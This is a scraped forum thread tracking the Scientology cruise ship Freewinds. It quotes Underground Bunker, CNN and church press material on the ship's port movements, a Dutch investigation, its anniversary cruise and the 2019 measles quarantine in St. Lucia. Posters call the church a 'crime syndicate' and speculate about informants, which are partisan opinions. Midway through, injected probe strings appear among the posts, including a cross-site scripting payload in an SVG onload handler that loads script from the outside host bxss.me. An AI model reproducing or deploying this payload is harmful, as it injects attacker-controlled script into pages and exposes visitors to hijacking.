Tracking Of The Freewinds

http://www.marinetraffic.com/en/ais...4/mmsi:354993000/imo:6810811/vessel:FREEWINDS

PICKING UP MISCAVIGE HIS COKE:

It looks like the Freewinds has been staying the hell away from its "home" ABC ports.

https://www.vesselfinder.com/vessels/SMV-FREEWINDS-IMO-6810811-MMSI-354993000

Date / Time Port / Country
Jun 15, 2017, 03:46 UTC
ROSEAU, DOMINICA
Jun 12, 2017, 02:47 UTC
ROSEAU, DOMINICA
May 15, 2017, 03:46 UTC
ROSEAU, DOMINICA
May 10, 2017, 01:46 UTC
ROSEAU, DOMINICA
Apr 12, 2017, 01:19 UTC
KINGSTOWN, ST VINCENT & GRENADINES

On the trip back to St. Lucia this morning, it suddenly slowed from 18 knots down to 10.5. Navigation or did something break?

It dropped off the tracking system on the final stretch, but that could a blank spot in the coverage.

Process server looking for them in the Kingdom of the Netherlands?
Tax collector there looking for payment of an assessment?
Is there an outstanding tax lien?

Then there is also this:
The Commonwealth of Dominica offers an official and legally mandated economic citizenship to those seeking a valid second passport. The nationality law of Dominica authorises the government to waive the normal requirement of seven years of legal residence to acquire citizenship in exchange for a cash contribution. Total costs excluding all fees for a single applicant are US$100,000, with a discount for additional passports for spouses and children. Alternatively, since 2014, applicants can make a US$200,000 real estate investment, in which case the cost of citizenship is US$50,000.[35] According to officials, the citizenship programme was an economic and fiscal "lifeline" in the aftermath of Tropical Storm Erika, and its new investment option had become the main source of Foreign Direct Investment into Dominica by early 2016.[36] The Dominican passport holders can travel without a visa, or obtain a visa upon entry, to over 100 countries and territories, including the United Kingdom and the Schengen zone. Applying for Dominica citizenship requires interacting with official Government Approved Economic Citizenship Agents.
https://en.wikipedia.org/wiki/Dominica

Has anyone been keeping logs of the Freewinds' position for the last couple of years?

Source: Scientology ship avoiding Dutch waters after evading surprise government search June 21, 2017, Tony Ortega, Underground Bunker

I infer that the scientology crime syndicate has an informant in the Bonaire Police or prosecutor's office.

Here's the last part of the article quoted above:

On March 10 the ship left Curaçao, and it hasn’t been back in Dutch waters since.

“Since then, the Freewinds has been docked almost permanently in St. Lucia,” our tipster tells us. “It has made the occasional day trip to a neighboring island, but hasn’t returned to the Dutch Antilles in months, which is not its usual pattern.”

St. Lucia is a sovereign nation. Do we have any tipsters who can begin informing its government about Scientology’s controversies?

UPDATE: Although there are no dates on the email from the Dutch government official, our source says that based on the shipping data, he believes the initial surprise search may have been planned for a few months earlier, back to about September 2015, and not January 2016. Also, we don’t have a date for the visit by the Scientology attorneys in Bonaire. But we do know with certainty that on March 10, 2017, the Freewinds left Curaçao, and hasn’t been back in Dutch waters since then.

http://tonyortega.org/2017/06/21/so...ers-after-evading-surprise-government-search/

We have your Scientology ‘Maiden Voyage’ robo-call invitation, Los Angeles!

By Tony Ortega, June 23, 2017

Quote:

Starting tomorrow, L. Ron Hubbard Way in Los Angeles will be transformed into the Caribbean Sea as the always naval-minded Church of Scientology celebrates one of holy dates on its space-age calendar.

Over the next four weeks, Scientologists around the world are being called down to their local orgs for a series of videos that were shot recently on the church’s private cruise ship, the Freewinds, which spends its time in Caribbean waters (but as we reported earlier, has fewer places to drop anchor).

In June, Scientology leader David Miscavige invites his most wealthy donors and other bigwigs down to the spiritual barge to preview new initiatives. The fat cats get a special sneak peek, see. But now the rest of the membership gets to see what happened on the ship, watching videos of Miscavige speaking for hours at a time. It’s a gas.

So if you’re a Scientologist in the Los Angeles area, you would have received this robo-call in the last few days. One of our tipsters in the church forwarded it to us. Tell us, would this get you down to L. Ron Hubbard Way for the festivities, which will no doubt include appeals for more donation? Let us know.



Source: http://tonyortega.org/2017/06/23/we...iden-voyage-robo-call-invitation-los-angeles/

So, if the scientology dupe presses 3 to opt out, do they receive a knowledge report and get a "summons" to talk to the ethics officer?

Here's a press release that the cult published today. Quote:

Unlimited Horizons: The Freewinds Maiden Voyage Anniversary Recaps Transcendent 12 Months for Scientology

The world's most dedicated Scientologists cast off for a week-long cruise to celebrate successes and set the agenda for an expansive year across the seven seas

Saint Lucia — an Eastern Caribbean island nation famous for its pair of dramatically tapered mountains, volcanic beaches, reef-diving sites, fishing villages, and an interior rainforest that leads to cliff-edge waterfalls — was the postcard-perfect scene for the convergence of several hundred of the world’s most dedicated Scientologists. They gathered for a week-long convocation aboard the legendary 440-foot Motor Vessel, Freewinds, a religious retreat for the Church of Scientology, in celebration of the 29th Anniversary of the ship’s Maiden Voyage.

Indeed, this was no ordinary cruise, in fact, those on board form a stellar group who have collectively spearheaded the Church’s expansion through the creation of new Churches of Scientology in their respective zones.

What’s more, the week-long gathering is helmed by the religion’s ecclesiastical leader, Mr. David Miscavige, so again, this is no ordinary cruise.

The week launched with Mr. Miscavige’s recap of just some of the highlights from the year’s progress:

“Since last we met, our solar system of Churches now includes: Budapest, Hungary; Harlem, New York; San Diego, California; and, the rim of our terrestrial world in Auckland, New Zealand,” he said, before moving on to detail the most recent Church grand openings in the San Fernando Valley, California; Miami, Florida; and Copenhagen, Denmark.

But the convocation is not just about looking back, Mr. Miscavige told the assembled. This is the week that sets the agenda for Scientologists around the world to continue the record-breaking expansion that has made the religion a thriving, upward-moving worldwide phenomenon.

For the rest of the year, the Freewinds is an extraordinary vessel of benevolent distribution, as she logs and charts adventures that bring humanitarian and educational programs to the Caribbean and Latin America; as well as providing spiritual services for the most advanced Scientologists all year long.

But for this week, the guests on the annual cruise will not only celebrate their own good works on behalf of the Church, but will target, plan and put into action future expansion while participating in extraordinary evening events, each with a unique and striking focus.

HONORING A HUMANITARIAN SHIP OF STATE

When Mr. Miscavige greeted the audience the first night, he also paid homage to the Freewinds, whose crew — including five master mariners and 133 survival craftsmen — has compiled a staggering 5,000 years of cumulative experience at sea. The ship, he said, has been virtually rebuilt since her Maiden Voyage, making her “the safest ship on seven seas.”

But her safety is not her only hallmark, and not her particular calling card. It is in fact her ongoing mission for humanity as she plies the azure Caribbean waters.

From human rights campaigns reaching island inhabitants across the windward isle of Saint Vincent; to drug education proliferation over Bonaire’s TV and radio airwaves to counteract endemic drug abuse; and morals education by way of The Way to Happiness, which earned exuberant praise from Aruba’s Ministry of Justice.

In fact, the value of the Freewinds’ mission was repeatedly acknowledged in testaments from grateful island officials who have personally witnessed the benefits.

The interaction of the Freewinds and her crew with society shows “not just merely extending a hand, or granting a favor, but a social responsibility,” said the Saint Lucia Minister over Infrastructure and Ports, in a video tribute. “That passion is one of love, one of sincerity, and one of true friendship and happiness.”

A scholar from Barbados added, “The Freewinds doesn’t just come in, spend some time and leave. They look for areas where the Freewinds can help. And it’s not about helping financially. It’s about helping find solutions to issues, to concerns, to problems.”

While finally, a Ministry of Tourism representative from St. Kitts and Nevis declared: “Even though we don’t say it often enough or loud enough, just remember, the Caribbean appreciates the Freewinds.”

AN EVENING IN RECOGNITION OF FOUNDER L. RON HUBBARD

The next night, guests were treated to a biographical presentation in honor of L. Ron Hubbard (LRH). It was an evening informing and astounding those in attendance with countless previously untold tales of Mr. Hubbard’s legacy. Tales presented by the LRH Biographer, Dan Sherman, that spoke to both Mr. Hubbard’s kindness and his vision.

At the heart of the evening were on-camera interviews featuring vivid personal accounts of those who had encountered L. Ron Hubbard and were forever changed.

There was the Spanish cabin steward who went on to become a “better person with my fellow man, and that’s all thanks to Ron.” Similarly, the Portuguese entrepreneur who spoke of “the power” from LRH “that made my life what I am today.” Followed by the Caribbean synagogue president who told of Mr. Hubbard “capturing the mood and atmosphere” of the New World’s oldest synagogue in their cherished photo journal. Concluding with the island radio personality and architect who recalled one Captain L. Ron Hubbard urging his Caribbean classmates to empower themselves through education and thus whom he called “a Captain not only for a ship, for me, he’s a Captain that helps us direct our lives.”

Mr. Sherman concluded his presentation with a message, “Whatever you do, emulate L. Ron Hubbard. His competence and proficiency sufficient to produce an emotional impact — emulate it. And thereby sow his compassion and kindness through the lives you, too, encounter.”

A NIGHT IN CELEBRATION OF HUMANITARIAN ACTION

Passengers aboard for the Maiden Voyage also attended a formal event honoring the International Association of Scientologists (IAS) and its stellar commitment to not only protect and support the religion, but accelerate the betterment of mankind, through the myriad international humanitarian campaigns. They include:

• The Citizens Commission on Human Rights who exposed and curbed psychiatric abuse in Tokyo hospitals, across South Africa’s largest tribal kingdom and on the streets of South Florida.
• United for Human Rights and Youth for Human Rights, who sparked a human rights movement in Toronto — the most ethnically diverse city on Earth, in Africa’s most populous land of Nigeria and in Sri Lanka, where Hindus, Buddhists, Christians and Muslims worked together to spread the Universal Declaration of Human Rights.
• Drug-Free World, who carried out their crusades with The Truth About Drugs across Athenian neighborhoods, through Baja’s notorious drug transit route and up and down the playing fields of the European Football Championships.
• And finally, through the social betterment work of IAS-supported programs where the Way to Happiness generated a moral resurgence through Cuban towns and villages, Study Technology ignited an education revolution in Mongolia and Narconon drug rehabilitation struck at the core of Nepal’s addiction culture.

As announcements of accomplishments came to a close, a monumental one was unveiled. And it rode directly upon the wake of the Freewinds in tandem with IAS support, because working with volunteers, law enforcement and Scientologists, literally millions of copies of The Way to Happiness, The Truth About Drugs and The Story of Human Rights were distributed in major cities and jungle villages throughout Colombia.

As a result, what was once the acknowledged drug capital of the world, and a country the United Nations classified as the “worst humanitarian crisis in the Western Hemisphere,” soon became the “Colombian Miracle” with military human rights violations dropping an incredible 96 percent.

Directly on the heels of that was the grand opening of Colombia’s IAS-sponsored National Church of Scientology where they continued to work tirelessly to provide the solutions for restoring humanity. Soon to follow was the astounding peace accord between Colombia’s national government and FARC troops, after which 8,500 police were personally trained by Freewinds staff in vital life skills for use in reintegrating FARC troops back into society.

But, even so, that’s not the end of the story. Because, less than a decade after the Freewinds first docked in Cartagena, Mr. Miscavige pronounced the next epic accomplishment: that on the 5th of May, 2017, the nation of Colombia awarded the Church of Scientology full religious recognition.

It was yet another example that the combination of the Freewinds, Scientologists, global changemakers and the inspiration of L. Ron Hubbard’s technology for living, continue to lead to the betterment of humanity.

So, as the passengers prepared to leave the ship, they and thousands more are bound and determined to resume their year-long work of uplifting society and improving humanitarian conditions worldwide, one nation, indeed one port at a time, for the next 51 weeks.

Setting the goal of opening another 50 Churches, there’s still plenty of sailing ahead, as the Church seeks to reach all people in all lands. With a course guided by charts from the Belt of Orion to the Milky Way, they’re ocean bound to discover what’s ahead. And thus, Mr. Miscavige bid all passengers this finale message:

“I thank you for attending…

“I thank you for all you have thus far achieved…

“And, all that I know you’ll achieve in this year to come…

“Good luck and Godspeed!”

Read the article on the Scientology Newsroom.

Source: ScientologyNews.org

https://www.newswire.com/news/unlim...nds-maiden-voyage-anniversary-recaps-19630040

Another stereotypical scientology PR piece full of lies, plagiarism, and non-sequitur metaphor.
The first paragraph is a rip-off from Google Maps:
"Saint Lucia is an Eastern Caribbean island nation with a pair of dramatically tapered mountains, the Pitons, on its west coast. Its coast is home to volcanic beaches, reef-diving sites, luxury resorts and fishing villages. Trails in the interior rainforest lead to waterfalls like the 15m-high Toraille, which pours over a cliff into a garden."
"Saint Lucia — an Eastern Caribbean island nation famous for its pair of dramatically tapered mountains, volcanic beaches, reef-diving sites, fishing villages, and an interior rainforest that leads to cliff-edge waterfalls."

Absurd metaphors anyone?
"our solar system of Churches now includes"
"the rim of our terrestrial world"
"extraordinary vessel of benevolent distribution"
"With a course guided by charts from the Belt of Orion to the Milky Way"

And the relationship the crime syndicate had with the governments of Aruba, Bonaire and Curacao seems to have been manipulated by a few corrupt individuals.
http://ocmb.xenu.net/ocmb/viewtopic.php?t=214775

Scientology cruise ship back in Dutch waters despite government interest

By Tony Ortega, June 27, 2017

Quote:

After a lengthy stay in St. Lucia, Scientology’s private cruise ship the Freewinds sailed more than 500 miles to Curaçao this week, returning to Dutch waters for the first time since March.

Recently, we told you that a Dutch source of ours had received assurances from a Netherlands official that the government there was interested in gathering evidence for a criminal investigation of the Church of Scientology, which explained why the ship might be avoiding Dutch islands in recent months.

That official indicated in an email that in late 2015, the Dutch government had planned a surprise search of the Freewinds while it was docked at Bonaire, a Caribbean island off the coast of Venezuela which is actually a part of the nation of the Netherlands. The Dutch official admitted that the Freewinds crew got wind of the planned search, and sailed away the day before it was planned. After two visits in July 2016, the Freewinds has not been back to Bonaire since.

Two other members of the Dutch Antilles, Aruba and Curaçao , are nominally independent nations in the “Kingdom of the Netherlands,” and the Freewinds spent a lot of time shuttling between them while avoiding Bonaire after July 2016. But after March, the ship was avoiding Dutch waters altogether.

Now that it’s back, will the Dutch government take notice? Our source is busily notifying Dutch officials that the ship is back. We hope the government takes this opportunity to ask a few questions.

Source: http://tonyortega.org/2017/06/27/re...cientologys-secretive-int-base-in-four-years/

Hip-hip-hooray! We have the newest Scientology propaganda about creating an ‘Ideal World’

By Tony Ortega, July 10, 2017

Quote:

We want to thank our tipster who sent us images from the new issue of “International Scientology News,” one of the church’s slick publications intended to convince its members that it is not a failing organization in a full-on crisis.

This edition, issue 70, was dedicated to the happenings at the recent Maiden Voyage celebrations on board the Freewinds, Scientology’s private cruise ship, which plies the Caribbean. The Freewinds is the only place where wealthy Scientologists can experience “OT 8,” the highest auditing level on the “Bridge to Total Freedom.” But the ship is also used for other seminars and for the annual Maiden Voyage festivities each June, commemorating the ship’s first voyage under Scientology’s ownership in 1988.

During the weeklong celebration, Scientology leader David Miscavige gives a select number of top donors some sneak peeks at upcoming initiatives, and he also drones on for hours about all the ways Scientology is the most happening thing ever. Now it’s ISN’s job to turn that into print propaganda for the dwindling membership to eat up. Let’s take a look.



It turns out, Miscavige isn’t just turning regular Scientology “orgs” into “Ideal Orgs,” he’s turning the entire WORLD ideal!



We especially enjoyed this shot of Miscavige with Freewinds captain Mike Napier, pretending to have a candid moment, when you know that Miscavige is already thinking about how he’s going to make Napier disappear if his stats crash.



Continued at http://tonyortega.org/2017/07/10/hi...ogy-propaganda-about-creating-an-ideal-world/

"Plies a course from Pole Star to Eternity".
Does little Davey really think up those non-sequitur phrases that he thinks are metaphors?

"We commit your sins and errors to the waves and trust you will arise a better thetan."

These images of overboarding were posted online, here:

https://www.facebook.com/groups/1401290063318947/permalink/1403591356422151/





How Policy Created a Culture | Scientology 101

https://scientology101.org/scientology-secrets/a-culture-is-born/how-policy-created-a-culture/

Never before seen: Video from the first ‘LRH Birthday’ aboard the Scientology ‘Freewinds’

By Tony Ortega, September 30, 2017

Quote:

Wow, what a treat we have for you today. Thanks to a tipster who wants to remain nameless, we have something super rare in the world of Scientology — home video from an event, and not just any event, but the first L. Ron Hubbard birthday celebrated on the MV Freewinds, the church’s private cruise ship.

The Freewinds took its maiden voyage under Scientology ownership in June 1988, and so the following March 13, in 1989, was the first Hubbard birthday to be celebrated on the boat.

While one group of members was visiting the ship for a few weeks as they completed OT 8, the highest auditing level there is, one of them had brought along a video camera to record things. And on the night of March 12, 1989, they captured the scene we’re sharing with you today.

It features Freewinds captain Milt Wolfe making a suitably Scientological pronouncement about how the ship was now an “OT Org,” which leads to hugs and handshakes all around.

Tall Mike Napier, who captains the Freewinds today, is standing next to Wolfe, beaming through most of it.
There’s even a cake in the shape of the boat for the celebration. And of course, plenty of hip-hip-hoorays for the Commodore.

Continued at https://tonyortega.org/2017/09/30/n...rh-birthday-aboard-the-scientology-freewinds/

It reads almost like a log entry from Star Trek.

Live now from a windy Aruba http://www.portarubawebcam.com/
Freewind from online camera somewhat moving in the wind

http://www.marinetraffic.com/en/ais/home/shipid:415694/zoom:14
Localization

Help and relief still needed in U.S. Virgin Islands

By Rhodesia Muhammad, The Final Call, October 5, 2017

Quote:

Puerto Rico, located about 40 miles from the U.S. Virgin Islands, has been at the center of attention in the aftermath of devastation from two powerful hurricanes. But, it seems many have overlooked the smaller islands that were also greatly impacted, specifically the U.S. Virgin Islands which are facing their own crisis.

<snipped>

U.S. Virgin Islands are fighting to not be left out of the equation. There are two community organizers that are making sure the U.S. Virgin Islands are not being forgotten. St. Croix native Isoke Jacobs and Kendrick Muhammad collaborated after witnessing the footage of the aftermath of Hurricanes Irma and Maria. Immediately, they began galvanizing volunteers to support an effort they call “Operation Build and Restore the Virgin Islands.”

“I watched as my friend cried seeing what happened to her home town,” said Mr. Muhammad. “Out of her pain and passion, we became motivated and started thinking about what we could do to help. So, we reached out to the volunteer ministry of the Church of Scientology in Clear Water, Florida to see if they could sponsor at least 50 volunteers to go to St. Croix to provide assistance to residents in need.”

Mr. Muhammad explained how they circulated donation letters and had a meeting with a representative of the volunteer ministry of the Church of Scientology, who agreed to sponsor 10 volunteers. They have a ship called ‘Free Winds’, that they use to transport relief supplies.

“Once we get volunteers, we will go to St. Croix on the ship and stay for about a week, or longer. We will have the items they already requested for their daily needs,” he added.

More at https://www.finalcall.com/artman/publish/World_News_3/article_103832.shtml

Freewinds Confidential

By Tony Ortega, October 9, 2017

Quote:

We want to thank the tipster who found himself in an interesting situation, with a great view of Scientology’s cruise ship Freewinds, where wealthy church members go to complete the highest auditing level on the Bridge to Total Freedom, OT 8.

Enjoy these nighttime views of the old barge.





Looks like there’s a little auditing going on there on the poop deck. How theta!

Source: https://tonyortega.org/2017/10/09/b...the-national-enquirer-is-blowing-smoke-again/

20

20

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Scientology’s private cruise ship had a fitful history before becoming a floating cathedral

By Jeffrey Augustine, The Underground Bunker

https://tonyortega.org/2018/09/23/s...history-before-becoming-a-floating-cathedral/

Been sitting here for a few weeks now...

https://www.marinetraffic.com/en/ais/home/centerx:-75.535/centery:10.409/zoom:15

response.write(9333843*9226505)

20

20</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=013541&r=3-35103&h=3-ec231-2&/).slice(2),document.documentElement.appendChild(s))//'>

'+response.write(9333843*9226505)+'

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Scientology’s cruise ship the Freewinds: Why OT 8 needed to be delivered off-shore

By Jeffrey Augustine, The Underground Bunker

https://tonyortega.org/2018/10/10/s...nds-why-ot8-needed-to-be-delivered-off-shore/

Freewinds, part 3: How the cruise ship fits Scientology’s methods of obfuscation and lies

By Jeffrey Augustine, The Underground Bunker

https://tonyortega.org/2018/11/02/h...hip-fits-its-methods-of-obfuscation-and-lies/

St. Lucia quarantines cruise ship reportedly owned by Church of Scientology over measles concerns | CNN

Quote:

Health officials in St. Lucia have ordered a cruise ship reportedly owned by the Church of Scientology to stay in port after they learned through "reputable sources" that someone on board has the measles.

Chief Medical Officer Dr. Merlene Fredericks-James said that after internal discussions and talks with the Pan American Health Organization "we thought it prudent that we quarantine the ship."

She said one person with measles could easily infect others through coughing and sneezing. She said they learned of the measles case through two reputable sources.

The vessel, named "Freewinds," is still moored there, St. Lucia Coast Guard Sgt. Victor Theodore told NBC News.

The St. Lucia Times posted an image of the ship Wednesday and a marine tracking website showed the ship in Port Castries on the Caribbean island on Thursday afternoon.

The ship arrived at St. Lucia on Tuesday and was set to depart Thursday, according to a schedule posted on the St. Lucia Air and Sea Ports Authority website.

The Church of Scientology didn't respond to CNN's request for comment. It says on its website the ship is a religious retreat at the pinnacle of a Scientologist's spiritual journey.

The ship has a capacity of 540 passengers. It wasn't immediately clear how many were on board.
Fredericks-James said no one was allowed to disembark from the ship.

Continued at https://www.cnn.com/2019/05/02/health/st-lucia-measles-cruise-ship-quarantine/

What it’s like on the Scientology measles ship right now, according to former crew | The Underground Bunker

Quote:

We had a pretty exciting afternoon yesterday, helping to figure out that the measles ship quarantined in the Caribbean country of St. Lucia was, in fact, Scientology’s floating cathedral, the 440-foot Freewinds.

The story was irresistible to major media last night, even if most of the networks didn’t mention the Scientology connection. Up to 300 people stuck in the tight quarters of a small cruise ship because a crew member had a confirmed case of measles: It was a perfect story to illustrate the comeback of infectious diseases because of years of unscientific panic over vaccinations.

The Scientology angle gave it an even crazier kick. The church purchased the ship in 1986 and then renamed it, re-launching it in 1988 as the Freewinds. The purpose of operating the ship was for wealthy Scientologists to reach the ultimate auditing level on the Bridge to Total Freedom, Operating Thetan Level Eight (OT 8), which can take years to reach — former member Marc Headley estimated that it costs a Scientologist between $500,000 and $2 million to complete the entire Bridge, including OT 8.

But the OT 8 business is not steady, and to bolster sales the church has added other courses and seminars so that less lofty church members can spend money for a cruise. (And for the record, while 300 might be the number cited by the St. Lucia government, we won’t be surprised if the actual number of passengers and crew currently aboard the Freewinds turns out to be lot less.) Also, the ship is crewed by members of Scientology’s Sea Org, extremely dedicated members who sign billion-year contracts and work 365 days a year for little or no pay. The Freewinds is also a destination for Scientology’s celebrities and for church leader David Miscavige.

In fact, former church executive Tom DeVocht tells us that in some years, Miscavige would celebrate his birthday on the Freewinds. (As did Tom Cruise in 2004 when he turned 42, caught in an infamous video of him dancing with singer Stacy Francis.)

Miscavige turned 59 on Tuesday. Was he aboard the Freewinds for a birthday party when it was quarantined in St. Lucia on Monday morning? We think the chances are somewhat low that Miscavige is aboard, but we’d love to know one way or the other.

“From a PR perspective, they’re fucked and they know it,” DeVocht told us last night by phone from Seattle.

He predicted that Miscavige, wherever he is, will be micromanaging the crisis, and Scientology will do its best to appear to be cooperating fully with the St. Lucia government. But Tom also thought of several consequences of the quarantine that will be rocking the organization.

“The worst-case scenario is how many people were in contact with that crew member who have now left the ship and went back to Flag [in Florida] or PAC Base [in Los Angeles]. This is a real close-knit community, and they have to be panicking right now,” he says.

Officially, the Church of Scientology does not advocate against vaccinations. But just a couple of weeks ago we were talking about L. Ron Hubbard’s deep-seated hatred for the American Medical Association, and that he railed against doctors in a 1954 essay. As a result, Scientologists tend to be deeply skeptical of western medicine, promote alternative therapies, and yes, many of them are anti-vaxxers. It really doesn’t surprise us that a Scientology crew member might bring measles aboard the ship.

When we brought up the timing — five weeks or so before the annual “Maiden Voyage” week when Miscavige and many of the wealthiest donors celebrate the ship’s anniversary — DeVocht said that this was a time when families with children would be invited to take lower-level courses and get the Freewinds experience.

He also brought up the tendency for Scientology to use the Freewinds as a prison. “If there are prisoner types, like when Marty [Rathbun] was on board, it would be a little more of a panic, as far as what do they say about those people when officials come on board.”

Continued at https://tonyortega.org/2019/05/02/w...sles-ship-right-now-according-to-former-crew/

Measles?

Don't worry Scientologists. You don't need no stinking vaccines. L. Ron told you all that this is just an indication that you are all connected to an SP. Get your asses to the nearest Ethics Officer and get PTS handling asap! The tech works. You know that to be true.

Apparently, Nation of Minister Louis Farrakhan (&quot;the man of God&quot &quot;guided&quot; members of the Nation of Islam not to go on the Freewinds. Now I know why I didn't see advertisements for the 2nd Annual Black Scientologists Convention (4/18 - 25/19) on the Facebook group Dianetically Speaking after the first advertisement.

Nation of Islam Sister Akilah Muhammad says, &quot;We were RIGHTLY guided by the man of God to not go on this ship. Read what we were guided to avoid. Obedience is better than a sacrifice.&quot;

https://www.facebook.com/groups/DianeticallySpeaking/permalink/2062953860470287/

Inside Scientology’s Measles-Infested Million-Dollar Cruise for True Believers | Daily Beast

https://www.thedailybeast.com/insid...sted-million-dollar-cruise-for-true-believers

Measles-plagued Scientology ship leaves St Lucia | France 24

https://www.france24.com/en/20190503-measles-plagued-scientology-ship-leaves-st-lucia

Cruise ship linked to Church of Scientology leaves St. Lucia amid measles scare | NBC News

https://www.nbcnews.com/news/us-new...measles-scare-leaves-st-lucia-headed-n1001591

Scientology ‘Ship of Horrors’ Live Tracker: Follow Quarantined Cruise Ship With Measles Reported Onboard | Newsweek

"The Freewinds’ progress can be tracked in real time by both the MarineTraffic and My Ship Tracking websites."

https://www.newsweek.com/scientolog...asles-tracker-update-st-lucia-curacao-1413828

Scientology measles ship Freewinds ditches St. Lucia quarantine for Curaçao, its home port | The Underground Bunker

https://tonyortega.org/2019/05/03/s...t-lucia-quarantine-for-curacao-its-home-port/

Scientology cruise ship under measles quarantine is heading to Curacao | USA TODAY

https://www.usatoday.com/story/trav...easles-quarantine-heading-curacao/3661587002/

Here's what happens on Scientology's cruise ship Freewinds. Hint: It's not a vacation.

By Daniel Burke, CNN Religion Editor, May 3, 2019

Quote:


When you hear the phrase "Scientology cruise ship," it may conjure images of Tom Cruise playing shuffleboard on the deck while church members sunbathe and sip strawberry daiquiris.
That's not exactly what happens aboard the Freewinds.

The Freewinds, a cruise ship belonging to the Church of Scientology, was quarantined this week in the Caribbean with an apparent case of measles. This has led to a number of questions, including: Wait, why does Scientology have a cruise ship?

According to the church, the Freewinds is less a vacation and more of a floating religious retreat center. Some former Scientologists have described it in harsher terms, but more on that later.

Once upon a time, Scientology had a fleet of ships, the church says, which were manned by its Sea Organization. The ships and crew helped Scientology founder L. Ron Hubbard with "research" and supervised church functions around the world, according to the church.

Scientologists compare the "Sea Org" to members of a religious order, like monks and nuns, who devote their lives to the faith, often working long hours for no pay and living communally. The Freewinds is entirely staffed by the Sea Org, the church says, who dress in spiffy naval uniforms.

But there was another reason for Scientologists' seafaring ways, say scholars who have studied the church. In the late 1960s several countries, including the United States, started scrutinizing Hubbard's new movement. He had been kicked out of England in 1968, according to Hugh Urban, author of "The Church of Scientology: A History of a New Religion."

"Thus Hubbard's shift to a sea-based organization during these years was clearly in part a response to his inability to operate freely in many nations," Urban writes.

CNN has reached out to the Church of Scientology but has not heard back from its communications department.

On the high seas, Scientologists were pretty much free do what they wanted, and the floating religious retreat centers eventually became an essential part of their practice.

In 1985, the church reportedly purchased the Finnish-built Freewinds, which once entertained tourists on the Commodore Cruise Line. The ship has since become its flagship, spiritually speaking, and it's mission is pretty ambitious: "The Freewinds is like no other place on Earth. It truly marks the beginning of a voyage to all eternity," the church says.

So what happens on the Freewinds?

Well, besides hosting a birthday party for Cruise, during which he grabbed the mic for an, um, energetic version of "Old Time Rock n Roll," what happens is a lot of intensive religious study. A church website describes the ship as a "safe, aesthetic, distraction-free environment appropriate for ministration of this profoundly spiritual level of auditing."

Auditing, for Scientologists, is a practice by which an individual can rid himself of "spiritual disabilities." Holding a device called an e-meter, which functions as a kind of lie detector, the auditor interrogates the auditee, looking for areas of "spiritual distress."

The church describes the Freewinds as a kind of moving Mount of Olives, the site of Jesus' ascension into heaven. It's the place where Scientologists can reach the highest level of spiritual attainment, OT VIII, which stands for Operating Thetan Level 8. What, exactly, that entails is the subject of some mystery (and a little suspicion) outside of Scientology, but the church describes it as "the pinnacle of a deeply spiritual journey."

"Years of training and auditing have brought him to this ultimate point. It is the most significant spiritual accomplishment of his lifetime and brings with it the full realization of his immortality," the church says.

It's worth noting, though, that some former members have far less positive views of what goes on aboard the Freewinds.

In 2011, an Australian woman said she was taken aboard the ship for what she thought was a two-week vacation. But it turned into a 12-year-long form of indentured servitude, the woman alleged.

This week, actress Leah Remini, a former Scientologist who has become a fierce critic of the church, lodged similar charges about the Freewinds on Twitter. Responding to a Newsweek article about the ship, she said, "This is just the tip of the iceberg for what staff members of The Freewinds, Scientology's ship of horrors, have to endure while serving people like Tom Cruise & David Miscavige," the church's current leader.

Remini also said that the apparent measles outbreak this week aboard the Freewinds poses a challenge to Scientologists' beliefs about their supernatural powers.

"The Scientology ship, The Freewinds, is where they reach one of the highest levels of Scientology & are supposed to be impervious to "Wog Illness,' " Remini wrote. "A Wog is a derogatory term used to describe all of you, who are all just average humans compared to the superior Scientologist."

Source: https://www.cnn.com/2019/05/03/world/scientology-cruise-ship/